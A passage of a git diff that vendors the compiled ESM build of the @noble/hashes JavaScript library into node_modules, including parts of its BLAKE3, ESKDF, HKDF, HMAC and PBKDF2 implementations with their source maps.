false) { + // Compress last block + let flags = this.flags; + if (!this.chunkPos) + flags |= 1 /* Flags.CHUNK_START */; + if (this.chunkPos === 15 || isLast) + flags |= 2 /* Flags.CHUNK_END */; + if (!isLast) + this.pos = this.blockLen; + this.b2Compress(this.chunksDone, flags, buf, bufPos); + this.chunkPos += 1; + // If current block is last in chunk (16 blocks), then compress chunks + if (this.chunkPos === 16 || isLast) { + let chunk = this.state; + this.state = this.IV.slice(); + // If not the last one, compress only when there are trailing zeros in chunk counter + // chunks used as binary tree where current stack is path. Zero means current leaf is finished and can be compressed. + // 1 (001) - leaf not finished (just push current chunk to stack) + // 2 (010) - leaf finished at depth=1 (merge with last elm on stack and push back) + // 3 (011) - last leaf not finished + // 4 (100) - leafs finished at depth=1 and depth=2 + for (let last, chunks = this.chunksDone + 1; isLast || !(chunks & 1); chunks >>= 1) { + if (!(last = this.stack.pop())) + break; + this.buffer32.set(last, 0); + this.buffer32.set(chunk, 8); + this.pos = this.blockLen; + this.b2Compress(0, this.flags | 4 /* Flags.PARENT */, this.buffer32, 0); + chunk = this.state; + this.state = this.IV.slice(); + } + this.chunksDone++; + this.chunkPos = 0; + this.stack.push(chunk); + } + this.pos = 0; + } + _cloneInto(to) { + to = super._cloneInto(to); + const { IV, flags, state, chunkPos, posOut, chunkOut, stack, chunksDone } = this; + to.state.set(state.slice()); + to.stack = stack.map((i) => Uint32Array.from(i)); + to.IV.set(IV); + to.flags = flags; + to.chunkPos = chunkPos; + to.chunksDone = chunksDone; + to.posOut = posOut; + to.chunkOut = chunkOut; + to.enableXOF = this.enableXOF; + to.bufferOut32.set(this.bufferOut32); + return to; + } + destroy() { + this.destroyed = true; + this.state.fill(0); + this.buffer32.fill(0); + this.IV.fill(0); + this.bufferOut32.fill(0); + for (let i of this.stack) + i.fill(0); + } + // Same as b2Compress, but doesn't modify state and returns 16 u32 array (instead of 8) + b2CompressOut() { + const { state: s, pos, flags, buffer32, bufferOut32: out32 } = this; + const { h, l } = fromBig(BigInt(this.chunkOut++)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = compress(SIGMA, 0, buffer32, 7, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], IV[0], IV[1], IV[2], IV[3], l, h, pos, flags); + out32[0] = v0 ^ v8; + out32[1] = v1 ^ v9; + out32[2] = v2 ^ v10; + out32[3] = v3 ^ v11; + out32[4] = v4 ^ v12; + out32[5] = v5 ^ v13; + out32[6] = v6 ^ v14; + out32[7] = v7 ^ v15; + out32[8] = s[0] ^ v8; + out32[9] = s[1] ^ v9; + out32[10] = s[2] ^ v10; + out32[11] = s[3] ^ v11; + out32[12] = s[4] ^ v12; + out32[13] = s[5] ^ v13; + out32[14] = s[6] ^ v14; + out32[15] = s[7] ^ v15; + this.posOut = 0; + } + finish() { + if (this.finished) + return; + this.finished = true; + // Padding + this.buffer.fill(0, this.pos); + // Process last chunk + let flags = this.flags | 8 /* Flags.ROOT */; + if (this.stack.length) { + flags |= 4 /* Flags.PARENT */; + this.compress(this.buffer32, 0, true); + this.chunksDone = 0; + this.pos = this.blockLen; + } + else { + flags |= (!this.chunkPos ? 1 /* Flags.CHUNK_START */ : 0) | 2 /* Flags.CHUNK_END */; + } + this.flags = flags; + this.b2CompressOut(); + } + writeInto(out) { + exists(this, false); + bytes(out); + this.finish(); + const { blockLen, bufferOut } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.b2CompressOut(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + if (!this.enableXOF) + throw new Error('XOF is not possible after digest call'); + return this.writeInto(out); + } + xof(bytes) { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + output(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.enableXOF = false; + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } +} +/** + * BLAKE3 hash function. + * @param msg - message that would be hashed + * @param opts - dkLen, key, context + */ +export const blake3 = /* @__PURE__ */ wrapXOFConstructorWithOpts((opts) => new BLAKE3(opts)); +//# sourceMappingURL=blake3.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/blake3.js.map b/node_modules/@noble/hashes/esm/blake3.js.map new file mode 100644 index 000000000000..50f489b80345 --- /dev/null +++ b/node_modules/@noble/hashes/esm/blake3.js.map @@ -0,0 +1 @@ +{"version":3,"file":"blake3.js","sourceRoot":"","sources":["../src/blake3.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAC7D,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO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QACrB,IAAI,CAAC,IAAI,CAAC,SAAS;YAAE,MAAM,IAAI,KAAK,CAAC,uCAAuC,CAAC,CAAC;QAC9E,OAAO,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC;IAC7B,CAAC;IACD,GAAG,CAAC,KAAa;QACf,MAAM,CAAC,KAAK,CAAC,CAAC;QACd,OAAO,IAAI,CAAC,OAAO,CAAC,IAAI,UAAU,CAAC,KAAK,CAAC,CAAC,CAAC;IAC7C,CAAC;IACD,UAAU,CAAC,GAAe;QACxB,MAAM,CAAC,GAAG,EAAE,IAAI,CAAC,CAAC;QAClB,IAAI,IAAI,CAAC,QAAQ;YAAE,MAAM,IAAI,KAAK,CAAC,6BAA6B,CAAC,CAAC;QAClE,IAAI,CAAC,SAAS,GAAG,KAAK,CAAC;QACvB,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC;QACpB,IAAI,CAAC,OAAO,EAAE,CAAC;QACf,OAAO,GAAG,CAAC;IACb,CAAC;IACD,MAAM;QACJ,OAAO,IAAI,CAAC,UAAU,CAAC,IAAI,UAAU,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,CAAC;IACzD,CAAC;CACF;AAED;;;;GAIG;AACH,MAAM,CAAC,MAAM,MAAM,GAAG,eAAe,CAAC,0BAA0B,CAC9D,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,MAAM,CAAC,IAAI,CAAC,CAC3B,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/crypto.js b/node_modules/@noble/hashes/esm/crypto.js new file mode 100644 index 000000000000..8d499a088aaa --- /dev/null +++ b/node_modules/@noble/hashes/esm/crypto.js @@ -0,0 +1,2 @@ +export const crypto = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined; +//# sourceMappingURL=crypto.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/crypto.js.map b/node_modules/@noble/hashes/esm/crypto.js.map new file mode 100644 index 000000000000..4b4fd3da88a5 --- /dev/null +++ b/node_modules/@noble/hashes/esm/crypto.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.js","sourceRoot":"","sources":["../src/crypto.ts"],"names":[],"mappings":"AAGA,MAAM,CAAC,MAAM,MAAM,GACjB,OAAO,UAAU,KAAK,QAAQ,IAAI,QAAQ,IAAI,UAAU,CAAC,CAAC,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC,CAAC,SAAS,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/cryptoNode.js b/node_modules/@noble/hashes/esm/cryptoNode.js new file mode 100644 index 000000000000..241f1da4f854 --- /dev/null +++ b/node_modules/@noble/hashes/esm/cryptoNode.js @@ -0,0 +1,7 @@ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// See utils.ts for details. +// The file will throw on node.js 14 and earlier. +// @ts-ignore +import * as nc from 'node:crypto'; +export const crypto = nc && typeof nc === 'object' && 'webcrypto' in nc ? nc.webcrypto : undefined; +//# sourceMappingURL=cryptoNode.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/cryptoNode.js.map b/node_modules/@noble/hashes/esm/cryptoNode.js.map new file mode 100644 index 000000000000..f7ab75e05cbc --- /dev/null +++ b/node_modules/@noble/hashes/esm/cryptoNode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"cryptoNode.js","sourceRoot":"","sources":["../src/cryptoNode.ts"],"names":[],"mappings":"AAAA,oFAAoF;AACpF,4BAA4B;AAC5B,iDAAiD;AACjD,aAAa;AACb,OAAO,KAAK,EAAE,MAAM,aAAa,CAAC;AAClC,MAAM,CAAC,MAAM,MAAM,GACjB,EAAE,IAAI,OAAO,EAAE,KAAK,QAAQ,IAAI,WAAW,IAAI,EAAE,CAAC,CAAC,CAAE,EAAE,CAAC,SAAiB,CAAC,CAAC,CAAC,SAAS,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/eskdf.js b/node_modules/@noble/hashes/esm/eskdf.js new file mode 100644 index 000000000000..13253eba891d --- /dev/null +++ b/node_modules/@noble/hashes/esm/eskdf.js @@ -0,0 +1,155 @@ +import { bytes as assertBytes } from './_assert.js'; +import { hkdf } from './hkdf.js'; +import { sha256 } from './sha256.js'; +import { pbkdf2 as _pbkdf2 } from './pbkdf2.js'; +import { scrypt as _scrypt } from './scrypt.js'; +import { bytesToHex, createView, hexToBytes, toBytes } from './utils.js'; +// A tiny KDF for various applications like AES key-gen. +// Uses HKDF in a non-standard way, so it's not "KDF-secure", only "PRF-secure". +// Which is good enough: assume sha2-256 retained preimage resistance. +const SCRYPT_FACTOR = 2 ** 19; +const PBKDF2_FACTOR = 2 ** 17; +// Scrypt KDF +export function scrypt(password, salt) { + return _scrypt(password, salt, { N: SCRYPT_FACTOR, r: 8, p: 1, dkLen: 32 }); +} +// PBKDF2-HMAC-SHA256 +export function pbkdf2(password, salt) { + return _pbkdf2(sha256, password, salt, { c: PBKDF2_FACTOR, dkLen: 32 }); +} +// Combines two 32-byte byte arrays +function xor32(a, b) { + assertBytes(a, 32); + assertBytes(b, 32); + const arr = new Uint8Array(32); + for (let i = 0; i < 32; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} +function strHasLength(str, min, max) { + return typeof str === 'string' && str.length >= min && str.length <= max; +} +/** + * Derives main seed. Takes a lot of time. Prefer `eskdf` method instead. + */ +export function deriveMainSeed(username, password) { + if (!strHasLength(username, 8, 255)) + throw new Error('invalid username'); + if (!strHasLength(password, 8, 255)) + throw new Error('invalid password'); + const scr = scrypt(password + '\u{1}', username + '\u{1}'); + const pbk = pbkdf2(password + '\u{2}', username + '\u{2}'); + const res = xor32(scr, pbk); + scr.fill(0); + pbk.fill(0); + return res; +} +/** + * Converts protocol & accountId pair to HKDF salt & info params. + */ +function getSaltInfo(protocol, accountId = 0) { + // Note that length here also repeats two lines below + // We do an additional length check here to reduce the scope of DoS attacks + if (!(strHasLength(protocol, 3, 15) && /^[a-z0-9]{3,15}$/.test(protocol))) { + throw new Error('invalid protocol'); + } + // Allow string account ids for some protocols + const allowsStr = /^password\d{0,3}|ssh|tor|file$/.test(protocol); + let salt; // Extract salt. Default is undefined. + if (typeof accountId === 'string') { + if (!allowsStr) + throw new Error('accountId must be a number'); + if (!strHasLength(accountId, 1, 255)) + throw new Error('accountId must be valid string'); + salt = toBytes(accountId); + } + else if (Number.isSafeInteger(accountId)) { + if (accountId < 0 || accountId > 2 ** 32 - 1) + throw new Error('invalid accountId'); + // Convert to Big Endian Uint32 + salt = new Uint8Array(4); + createView(salt).setUint32(0, accountId, false); + } + else { + throw new Error(`accountId must be a number${allowsStr ? ' or string' : ''}`); + } + const info = toBytes(protocol); + return { salt, info }; +} +function countBytes(num) { + if (typeof num !== 'bigint' || num <= BigInt(128)) + throw new Error('invalid number'); + return Math.ceil(num.toString(2).length / 8); +} +/** + * Parses keyLength and modulus options to extract length of result key. + * If modulus is used, adds 64 bits to it as per FIPS 186 B.4.1 to combat modulo bias. + */ +function getKeyLength(options) { + if (!options || typeof options !== 'object') + return 32; + const hasLen = 'keyLength' in options; + const hasMod = 'modulus' in options; + if (hasLen && hasMod) + throw new Error('cannot combine keyLength and modulus options'); + if (!hasLen && !hasMod) + throw new Error('must have either keyLength or modulus option'); + // FIPS 186 B.4.1 requires at least 64 more bits + const l = hasMod ? countBytes(options.modulus) + 8 : options.keyLength; + if (!(typeof l === 'number' && l >= 16 && l <= 8192)) + throw new Error('invalid keyLength'); + return l; +} +/** + * Converts key to bigint and divides it by modulus. Big Endian. + * Implements FIPS 186 B.4.1, which removes 0 and modulo bias from output. + */ +function modReduceKey(key, modulus) { + const _1 = BigInt(1); + const num = BigInt('0x' + bytesToHex(key)); // check for ui8a, then bytesToNumber() + const res = (num % (modulus - _1)) + _1; // Remove 0 from output + if (res < _1) + throw new Error('expected positive number'); // Guard against bad values + const len = key.length - 8; // FIPS requires 64 more bits = 8 bytes + const hex = res.toString(16).padStart(len * 2, '0'); // numberToHex() + const bytes = hexToBytes(hex); + if (bytes.length !== len) + throw new Error('invalid length of result key'); + return bytes; +} +/** + * ESKDF + * @param username - username, email, or identifier, min: 8 characters, should have enough entropy + * @param password - password, min: 8 characters, should have enough entropy + * @example + * const kdf = await eskdf('example-university', 'beginning-new-example'); + * const key = kdf.deriveChildKey('aes', 0); + * console.log(kdf.fingerprint); + * kdf.expire(); + */ +export async function eskdf(username, password) { + // We are using closure + object instead of class because + // we want to make `seed` non-accessible for any external function. + let seed = deriveMainSeed(username, password); + function deriveCK(protocol, accountId = 0, options) { + assertBytes(seed, 32); + const { salt, info } = getSaltInfo(protocol, accountId); // validate protocol & accountId + const keyLength = getKeyLength(options); // validate options + const key = hkdf(sha256, seed, salt, info, keyLength); + // Modulus has already been validated + return options && 'modulus' in options ? modReduceKey(key, options.modulus) : key; + } + function expire() { + if (seed) + seed.fill(1); + seed = undefined; + } + // prettier-ignore + const fingerprint = Array.from(deriveCK('fingerprint', 0)) + .slice(0, 6) + .map((char) => char.toString(16).padStart(2, '0').toUpperCase()) + .join(':'); + return Object.freeze({ deriveChildKey: deriveCK, expire, fingerprint }); +} +//# sourceMappingURL=eskdf.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/eskdf.js.map b/node_modules/@noble/hashes/esm/eskdf.js.map new file mode 100644 index 000000000000..f53eebebdd2d --- /dev/null +++ b/node_modules/@noble/hashes/esm/eskdf.js.map @@ -0,0 +1 @@ +{"version":3,"file":"eskdf.js","sourceRoot":"","sources":["../src/eskdf.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,IAAI,WAAW,EAAE,MAAM,cAAc,CAAC;AACpD,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AACrC,OAAO,EAAE,MAAM,IAAI,OAAO,EAAE,MAAM,aAAa,CAAC;AAChD,OAAO,EAAE,MAAM,IAAI,OAAO,EAAE,MAAM,aAAa,CAAC;AAChD,OAAO,EAAE,UAAU,EAAE,UAAU,EAAE,UAAU,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,GAAG,CAAC,CAAC,WAAW,EAAE,CAAC;SAC/D,IAAI,CAAC,GAAG,CAAC,CAAC;IACb,OAAO,MAAM,CAAC,MAAM,CAAC,EAAE,cAAc,EAAE,QAAQ,EAAE,MAAM,EAAE,WAAW,EAAE,CAAC,CAAC;AAC1E,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/hkdf.js b/node_modules/@noble/hashes/esm/hkdf.js new file mode 100644 index 000000000000..8fbdac863895 --- /dev/null +++ b/node_modules/@noble/hashes/esm/hkdf.js @@ -0,0 +1,72 @@ +import { hash as assertHash, number as assertNumber } from './_assert.js'; +import { toBytes } from './utils.js'; +import { hmac } from './hmac.js'; +// HKDF (RFC 5869) +// https://soatok.blog/2021/11/17/understanding-hkdf/ +/** + * HKDF-Extract(IKM, salt) -> PRK + * Arguments position differs from spec (IKM is first one, since it is not optional) + * @param hash + * @param ikm + * @param salt + * @returns + */ +export function extract(hash, ikm, salt) { + assertHash(hash); + // NOTE: some libraries treat zero-length array as 'not provided'; + // we don't, since we have undefined as 'not provided' + // https://github.com/RustCrypto/KDFs/issues/15 + if (salt === undefined) + salt = new Uint8Array(hash.outputLen); // if not provided, it is set to a string of HashLen zeros + return hmac(hash, toBytes(salt), toBytes(ikm)); +} +// HKDF-Expand(PRK, info, L) -> OKM +const HKDF_COUNTER = /* @__PURE__ */ new Uint8Array([0]); +const EMPTY_BUFFER = /* @__PURE__ */ new Uint8Array(); +/** + * HKDF-expand from the spec. + * @param prk - a pseudorandom key of at least HashLen octets (usually, the output from the extract step) + * @param info - optional context and application specific information (can be a zero-length string) + * @param length - length of output keying material in octets + */ +export function expand(hash, prk, info, length = 32) { + assertHash(hash); + assertNumber(length); + if (length > 255 * hash.outputLen) + throw new Error('Length should be <= 255*HashLen'); + const blocks = Math.ceil(length / hash.outputLen); + if (info === undefined) + info = EMPTY_BUFFER; + // first L(ength) octets of T + const okm = new Uint8Array(blocks * hash.outputLen); + // Re-use HMAC instance between blocks + const HMAC = hmac.create(hash, prk); + const HMACTmp = HMAC._cloneInto(); + const T = new Uint8Array(HMAC.outputLen); + for (let counter = 0; counter < blocks; counter++) { + HKDF_COUNTER[0] = counter + 1; + // T(0) = empty string (zero length) + // T(N) = HMAC-Hash(PRK, T(N-1) | info | N) + HMACTmp.update(counter === 0 ? EMPTY_BUFFER : T) + .update(info) + .update(HKDF_COUNTER) + .digestInto(T); + okm.set(T, hash.outputLen * counter); + HMAC._cloneInto(HMACTmp); + } + HMAC.destroy(); + HMACTmp.destroy(); + T.fill(0); + HKDF_COUNTER.fill(0); + return okm.slice(0, length); +} +/** + * HKDF (RFC 5869): extract + expand in one step. + * @param hash - hash function that would be used (e.g. sha256) + * @param ikm - input keying material, the initial key + * @param salt - optional salt value (a non-secret random value) + * @param info - optional context and application specific information + * @param length - length of output keying material in octets + */ +export const hkdf = (hash, ikm, salt, info, length) => expand(hash, extract(hash, ikm, salt), info, length); +//# sourceMappingURL=hkdf.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/hkdf.js.map b/node_modules/@noble/hashes/esm/hkdf.js.map new file mode 100644 index 000000000000..868bdb5b77b7 --- /dev/null +++ b/node_modules/@noble/hashes/esm/hkdf.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hkdf.js","sourceRoot":"","sources":["../src/hkdf.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,IAAI,UAAU,EAAE,MAAM,IAAI,YAAY,EAAE,MAAM,cAAc,CAAC;AAC1E,OAAO,EAAgB,OAAO,EAAE,MAAM,YAAY,CAAC;AACnD,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AAEjC,kBAAkB;AAClB,qDAAqD;AAErD;;;;;;;GAOG;AACH,MAAM,UAAU,OAAO,CAAC,IAAW,EAAE,GAAU,EAAE,IAAY;IAC3D,UAAU,CAAC,IAAI,CAAC,CAAC;IACjB,kEAAkE;IAClE,sDAAsD;IACtD,+CAA+C;IAC/C,IAAI,IAAI,KAAK,SAAS;QA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,CAAC;QAC9B,oCAAoC;QACpC,2CAA2C;QAC3C,OAAO,CAAC,MAAM,CAAC,OAAO,KAAK,CAAC,CAAC,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,CAAC;aAC7C,MAAM,CAAC,IAAI,CAAC;aACZ,MAAM,CAAC,YAAY,CAAC;aACpB,UAAU,CAAC,CAAC,CAAC,CAAC;QACjB,GAAG,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,CAAC,SAAS,GAAG,OAAO,CAAC,CAAC;QACrC,IAAI,CAAC,UAAU,CAAC,OAAO,CAAC,CAAC;KAC1B;IACD,IAAI,CAAC,OAAO,EAAE,CAAC;IACf,OAAO,CAAC,OAAO,EAAE,CAAC;IAClB,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACV,YAAY,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACrB,OAAO,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC;AAC9B,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,IAAI,GAAG,CAClB,IAAW,EACX,GAAU,EACV,IAAuB,EACvB,IAAuB,EACvB,MAAc,EACd,EAAE,CAAC,MAAM,CAAC,IAAI,EAAE,OAAO,CAAC,IAAI,EAAE,GAAG,EAAE,IAAI,CAAC,EAAE,IAAI,EAAE,MAAM,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/hmac.js b/node_modules/@noble/hashes/esm/hmac.js new file mode 100644 index 000000000000..520f77694d1a --- /dev/null +++ b/node_modules/@noble/hashes/esm/hmac.js @@ -0,0 +1,77 @@ +import { hash as assertHash, bytes as assertBytes, exists as assertExists } from './_assert.js'; +import { Hash, toBytes } from './utils.js'; +// HMAC (RFC 2104) +export class HMAC extends Hash { + constructor(hash, _key) { + super(); + this.finished = false; + this.destroyed = false; + assertHash(hash); + const key = toBytes(_key); + this.iHash = hash.create(); + if (typeof this.iHash.update !== 'function') + throw new Error('Expected instance of class which extends utils.Hash'); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + // blockLen can be bigger than outputLen + pad.set(key.length > blockLen ? hash.create().update(key).digest() : key); + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36; + this.iHash.update(pad); + // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone + this.oHash = hash.create(); + // Undo internal XOR && apply outer XOR + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36 ^ 0x5c; + this.oHash.update(pad); + pad.fill(0); + } + update(buf) { + assertExists(this); + this.iHash.update(buf); + return this; + } + digestInto(out) { + assertExists(this); + assertBytes(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + to || (to = Object.create(Object.getPrototypeOf(this), {})); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } +} +/** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ +export const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest(); +hmac.create = (hash, key) => new HMAC(hash, key); +//# sourceMappingURL=hmac.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/hmac.js.map b/node_modules/@noble/hashes/esm/hmac.js.map new file mode 100644 index 000000000000..e04539dcd5ff --- /dev/null +++ b/node_modules/@noble/hashes/esm/hmac.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.js","sourceRoot":"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M,CAAC,cAAc,CAAC,IAAI,CAAC,EAAE,EAAE,CAAC,EAAC;QACtD,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,QAAQ,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS,EAAE,GAAG,IAAI,CAAC;QACxE,EAAE,GAAG,EAAU,CAAC;QAChB,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,KAAK,GAAG,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC;QACtC,EAAE,CAAC,KAAK,GAAG,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC;QACtC,OAAO,EAAE,CAAC;IACZ,CAAC;IACD,OAAO;QACL,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;QACrB,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IACvB,CAAC;CACF;AAED;;;;;GAKG;AACH,MAAM,CAAC,MAAM,IAAI,GAAG,CAAC,IAAW,EAAE,GAAU,EAAE,OAAc,EAAc,EAAE,CAC1E,IAAI,IAAI,CAAM,IAAI,EAAE,GAAG,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,MAAM,EAAE,CAAC;AACpD,IAAI,CAAC,MAAM,GAAG,CAAC,IAAW,EAAE,GAAU,EAAE,EAAE,CAAC,IAAI,IAAI,CAAM,IAAI,EAAE,GAAG,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/index.js b/node_modules/@noble/hashes/esm/index.js new file mode 100644 index 000000000000..2299d7f90eaf --- /dev/null +++ b/node_modules/@noble/hashes/esm/index.js @@ -0,0 +1,3 @@ +"use strict"; +throw new Error('noble-hashes have no entry-point: consult README for usage'); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/index.js.map b/node_modules/@noble/hashes/esm/index.js.map new file mode 100644 index 000000000000..90172aa2935e --- /dev/null +++ b/node_modules/@noble/hashes/esm/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";AAAA,MAAM,IAAI,KAAK,CAAC,4DAA4D,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/package.json b/node_modules/@noble/hashes/esm/package.json new file mode 100644 index 000000000000..f42e46b18130 --- /dev/null +++ b/node_modules/@noble/hashes/esm/package.json @@ -0,0 +1,10 @@ +{ + "type": "module", + "sideEffects": false, + "browser": { + "node:crypto": false + }, + "node": { + "./crypto": "./esm/cryptoNode.js" + } +} diff --git a/node_modules/@noble/hashes/esm/pbkdf2.js b/node_modules/@noble/hashes/esm/pbkdf2.js new file mode 100644 index 000000000000..3f0c11f8adce --- /dev/null +++ b/node_modules/@noble/hashes/esm/pbkdf2.js @@ -0,0 +1,86 @@ +import { hash as assertHash, number as assertNumber } from './_assert.js'; +import { hmac } from './hmac.js'; +import { createView, toBytes, checkOpts, asyncLoop } from './utils.js'; +// Common prologue and epilogue for sync/async functions +function pbkdf2Init(hash, _password, _salt, _opts) { + assertHash(hash); + const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + assertNumber(c); + assertNumber(dkLen); + assertNumber(asyncTick); + if (c < 1) + throw new Error('PBKDF2: iterations (c) should be >= 1'); + const password = toBytes(_password); + const salt = toBytes(_salt); + // DK = PBKDF2(PRF, Password, Salt, c, dkLen); + const DK = new Uint8Array(dkLen); + // U1 = PRF(Password, Salt + INT_32_BE(i)) + const PRF = hmac.create(hash, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; +} +function pbkdf2Output(PRF, PRFSalt, DK, prfW, u) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) + prfW.destroy(); + u.fill(0); + return DK; +} +/** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ +export function pbkdf2(hash, password, salt, opts) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1; ui < c; ui++) { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} +export async function pbkdf2Async(hash, password, salt, opts) { + const { c, dkLen, asyncTick, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + await asyncLoop(c - 1, asyncTick, () => { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + }); 